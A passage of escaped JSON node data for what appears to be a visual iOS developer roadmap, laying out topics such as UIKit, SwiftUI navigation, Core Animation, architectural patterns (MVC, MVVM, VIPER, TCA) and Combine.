{\n        \"x\": 462.09145195251654,\n        \"y\": 1604.352549285867\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"UI Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-7OW2IgiMk1eot1PaYd7m\"\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 462.09145195251654,\n        \"y\": 1604.352549285867\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1I5eFKqFVBxWLAXfpgNXO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 304.224381144193,\n        \"y\": 1604.352549285867\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HIG\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mgUCYztUpKINqIZikT4Bh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 112,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 112,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 304.224381144193,\n        \"y\": 1604.352549285867\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 112,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pNEE5C1E1wAjH_nTlzH6N\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 462.87947885298604,\n        \"y\": 1766.7167376569469\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"UIKit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4fPgpGwNXmVoZoruBRb_B\"\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 462.87947885298604,\n        \"y\": 1766.7167376569469\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XX5rCd_yTHvOfYif4Kpbl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 396.37947885298604,\n        \"y\": 1875.3087665436465\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Views, View Controllers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1I5eFKqFVBxWLAXfpgNXO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 287,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 287,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 396.37947885298604,\n        \"y\": 1875.3087665436465\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 287,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tUbMr1pGlw4JwMuW311JJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 395.87947885298604,\n        \"y\": 1929.3087665436465\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Navigation Controllers, Segues\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"XX5rCd_yTHvOfYif4Kpbl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 395.87947885298604,\n        \"y\": 1929.3087665436465\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mUMDZsgzCB6cs_K6pfUY1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 395.87947885298604,\n        \"y\": 1982.3120187383452\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Navigation Stacks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tUbMr1pGlw4JwMuW311JJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 395.87947885298604,\n        \"y\": 1982.3120187383452\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gqd6zjxP_qFj4Ru-6LARo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 410.15193584006727,\n        \"y\": 2041.9741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pushing Presenting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tUbMr1pGlw4JwMuW311JJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 410.15193584006727,\n        \"y\": 2041.9741149111323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jb89kQxDhZND3vQo0EH7r\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 410.15193584006727,\n        \"y\": 2095.9741149111323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Modals and Navigation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gqd6zjxP_qFj4Ru-6LARo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 410.15193584006727,\n        \"y\": 2095.9741149111323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PvFp6aY7EUrYHn87RZAGj\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 57.75844126336574,\n        \"y\": 1917.1441718988817\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SwiftUI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"pNEE5C1E1wAjH_nTlzH6N\"\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 57.75844126336574,\n        \"y\": 1917.1441718988817\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_TdwE3ffeJqxaR5nu2i4T\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -27.24155873663426,\n        \"y\": 2033.723995769065\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        },\n        \"oldId\": \"tBybxRQEnlt6VuyTyCJD7\"\n      },\n      \"zIndex\": -999,\n      \"width\": 324,\n      \"height\": 230,\n      \"style\": {\n        \"width\": 324,\n        \"height\": 230\n      },\n      \"positionAbsolute\": {\n        \"x\": -27.24155873663426,\n        \"y\": 2033.723995769065\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 324,\n        \"height\": 230\n      }\n    },\n    {\n      \"id\": \"TLm70PlTI0K3Odn1iYxWX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -27.24155873663426,\n        \"y\": 2031.5618995962777\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Navigation Stacks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mUMDZsgzCB6cs_K6pfUY1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 324,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 324,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -27.24155873663426,\n        \"y\": 2031.5618995962777\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 324,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IBr2P7dknWTnZ2a-fFCqN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -12.969101749553033,\n        \"y\": 2091.223995769065\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Navigation View\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gqd6zjxP_qFj4Ru-6LARo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 294,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -12.969101749553033,\n        \"y\": 2091.223995769065\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"my77jLU2qxU7bQ7_Fx2iH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -12.969101749553033,\n        \"y\": 2145.223995769065\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NavigationLink\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jb89kQxDhZND3vQo0EH7r\"\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 294,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -12.969101749553033,\n        \"y\": 2145.223995769065\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4pmjLa7WvwV7D3RZlM6Hp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -12.969101749553033,\n        \"y\": 2197.901549153067\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Presenting / Dismissing views\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"my77jLU2qxU7bQ7_Fx2iH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 294,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -12.969101749553033,\n        \"y\": 2197.901549153067\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KpcmuLWX0xAjz6ty4ebtB\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -250.3927038801816,\n        \"y\": 1917.1441718988817\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Core Animation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PvFp6aY7EUrYHn87RZAGj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -250.3927038801816,\n        \"y\": 1917.1441718988817\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w0i5Dxp40XS2HnF5nXeZI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -293.8927038801816,\n        \"y\": 1823.9451464851736\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basics / Creating Animations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2tmR1yE5daz2HB4IV5qwI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 278,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -293.8927038801816,\n        \"y\": 1823.9451464851736\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i-T6GTqS0FZ_Llt5v4SvR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -456.65690513478063,\n        \"y\": 1823.9451464851736\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Lottie\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"w0i5Dxp40XS2HnF5nXeZI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 117,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -456.65690513478063,\n        \"y\": 1823.9451464851736\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 117,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"z8PqfFgpZnl4lCSvmwIsN\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -438.1460183370648,\n        \"y\": 2013.9433758682362\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Design Architecture\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"ZGnWzU8SwucATFNOwfCO6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 66,\n      \"positionAbsolute\": {\n        \"x\": -438.1460183370648,\n        \"y\": 2013.9433758682362\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"knDbJw2PEIMyr0TpZLsLM\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -490.1460183370646,\n        \"y\": 2184.3165077459803\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 324,\n      \"height\": 213,\n      \"style\": {\n        \"width\": 324,\n        \"height\": 213\n      },\n      \"positionAbsolute\": {\n        \"x\": -490.1460183370646,\n        \"y\": 2184.3165077459803\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 324,\n        \"height\": 213\n      }\n    },\n    {\n      \"id\": \"a-QDI7Ei-B5BRHbicFcfG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -477.9907015857107,\n        \"y\": 2230.7231399014654\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MVC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NhC0SBZgUFGjMLNICvbTI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -477.9907015857107,\n        \"y\": 2230.7231399014654\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lVNrnUK6p4eifKRVSnOje\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -318.66112650248095,\n        \"y\": 2230.7231399014654\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MVP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"taTxZw2c3xS18JOwgkNHM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 142,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 142,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -318.66112650248095,\n        \"y\": 2230.7231399014654\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"taTxZw2c3xS18JOwgkNHM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -477.9907015857107,\n        \"y\": 2283.651720204365\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MVVM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FoqlB7xBIrV4yUp4ReBkw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -477.9907015857107,\n        \"y\": 2283.651720204365\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iLT2jAkQg-Ex0zSLquNfl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -318.66112650248095,\n        \"y\": 2283.651720204365\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MVVM-C\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MIuTOvy_E4lZOOzNE-H-B\"\n      },\n      \"zIndex\": 999,\n      \"width\": 142,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 142,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -318.66112650248095,\n        \"y\": 2283.651720204365\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mTdnDPGYSDupM9VBNdXRg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -318.66112650248095,\n        \"y\": 2336.875750712745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"VIPER\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NhC0SBZgUFGjMLNICvbTI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 142,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 142,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -318.66112650248095,\n        \"y\": 2336.875750712745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NhC0SBZgUFGjMLNICvbTI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -478.56227159622,\n        \"y\": 2336.875750712745\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TCA\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"taTxZw2c3xS18JOwgkNHM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -478.56227159622,\n        \"y\": 2336.875750712745\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ajPGMwoaFb1UFWTtpi5kd\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -490.1460183370646,\n        \"y\": 2170.3867999680488\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Architectural Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aALIiAxKz4f7B_EYyhBCi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 324,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 324,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -490.1460183370646,\n        \"y\": 2170.3867999680488\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 324,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"q51gMZ7ng7JtcXwMVmL0L\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 337.5235851135475,\n        \"y\": 714.4044639907162\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"— UI Kit Basics — \",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 176,\n      \"height\": 56,\n      \"positionAbsolute\": {\n        \"x\": 337.5235851135475,\n        \"y\": 714.4044639907162\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 176,\n        \"height\": 56\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 56\n      }\n    },\n    {\n      \"id\": \"AZJH9qnI4kUVA5ZdMxL5I\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 465.4595680403212,\n        \"y\": 1000.5569944255924\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"— Building Simple UIs — \",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"q51gMZ7ng7JtcXwMVmL0L\"\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 465.4595680403212,\n        \"y\": 1000.5569944255924\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"28HMXXBJWd3n-ZPgeQRDa\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -25.120095360031655,\n        \"y\": 2398.3033373404855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reactive Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ajPGMwoaFb1UFWTtpi5kd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -25.120095360031655,\n        \"y\": 2398.3033373404855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"W6gdCIkqSFo70guQ6cKCT\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 337.9381597711065,\n        \"y\": 2185.1257839564832\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        },\n        \"oldId\": \"_TdwE3ffeJqxaR5nu2i4T\"\n      },\n      \"zIndex\": -999,\n      \"width\": 345,\n      \"height\": 230,\n      \"style\": {\n        \"width\": 345,\n        \"height\": 230\n      },\n      \"positionAbsolute\": {\n        \"x\": 337.9381597711065,\n        \"y\": 2185.1257839564832\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 345,\n        \"height\": 230\n      }\n    },\n    {\n      \"id\": \"UzpdLLPs226N00c6weWRv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 337.9381597711065,\n        \"y\": 2182.963687783696\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Combine\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TLm70PlTI0K3Odn1iYxWX\"\n      },\n      \"zIndex\": 999,\n      \"width\": 345,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 345,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 337.9381597711065,\n        \"y\": 2182.963687783696\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 345,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"noBaDV_PvCTzqPyw9eO4H\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 352.2106167581876,\n        \"y\": 2242.6257839564832\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Publishers / Subscribers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IBr2P7dknWTnZ2a-fFCqN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 316,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 316,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 352.2106167581876,\n        \"y\": 2242.6257839564832\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 316,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GAn12SsVR_mPxOaOVckdz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 352.2106167581876,\n        \"y\": 2296.6257839564832\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Operators & Pipelines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"my77jLU2qxU7bQ7_Fx2iH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 316,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 316,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 352.2106167581876,\n        \"y\": 2296.6257839564832\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 316,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pY_zaMcFpeFDLgVk2W0Vy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 352.2106167581876,\n        \"y\": 2349.3033373404855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Combine and MVVM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4pmjLa7WvwV7D3RZlM6Hp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 316,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 316,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 352.2106167581876,\n        \"y\": 2349.3033373404855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      